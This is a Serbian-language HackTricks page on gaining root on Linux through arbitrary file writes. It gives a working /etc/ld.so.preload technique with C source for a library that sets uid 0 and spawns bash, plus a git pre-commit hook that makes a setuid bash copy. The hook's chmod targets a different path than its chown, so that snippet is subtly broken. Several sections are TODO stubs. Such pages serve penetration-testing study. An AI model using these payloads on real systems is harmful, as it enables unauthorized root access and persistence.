hacktricks/linux-hardening/privilege-escalation/write-to-root.md

3.8 KiB

Proizvoljno pisanje datoteka u root

{% hint style="success" %} Naučite i vežbajte hakovanje AWS-a:HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

/etc/ld.so.preload

Ova datoteka se ponaša kao LD_PRELOAD env promenljiva ali takođe radi i sa SUID binarnim fajlovima.
Ako možete da je kreirate ili modifikujete, možete jednostavno dodati putanju do biblioteke koja će biti učitana sa svakim izvršenim binarnim fajlom.

Na primer: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git kuke

Git kuke su skripte koje se pokreću pri različitim događajima u git repozitorijumu, kao što je kreiranje commit-a, spajanje... Dakle, ako privilegovani skript ili korisnik često obavljaju ove akcije i mogu pisati u .git folder, to može biti korišćeno za privesc.

Na primer, moguće je generisati skriptu u git repozitorijumu u .git/hooks tako da se uvek izvršava kada je kreiran novi commit:

{% code overflow="wrap" %}

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

{% endcode %}

Cron & Time fajlovi

TODO

Service & Socket fajlovi

TODO

binfmt_misc

Fajl koji se nalazi u /proc/sys/fs/binfmt_misc pokazuje koji binarni fajl treba da izvrši koji tip fajlova. TODO: proveriti zahteve kako iskoristiti ovo da bi se izvršio reverzibilni shell kada je otvoren zajednički tip fajla.

{% hint style="success" %} Naučite i vežbajte hakovanje AWS-a:HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}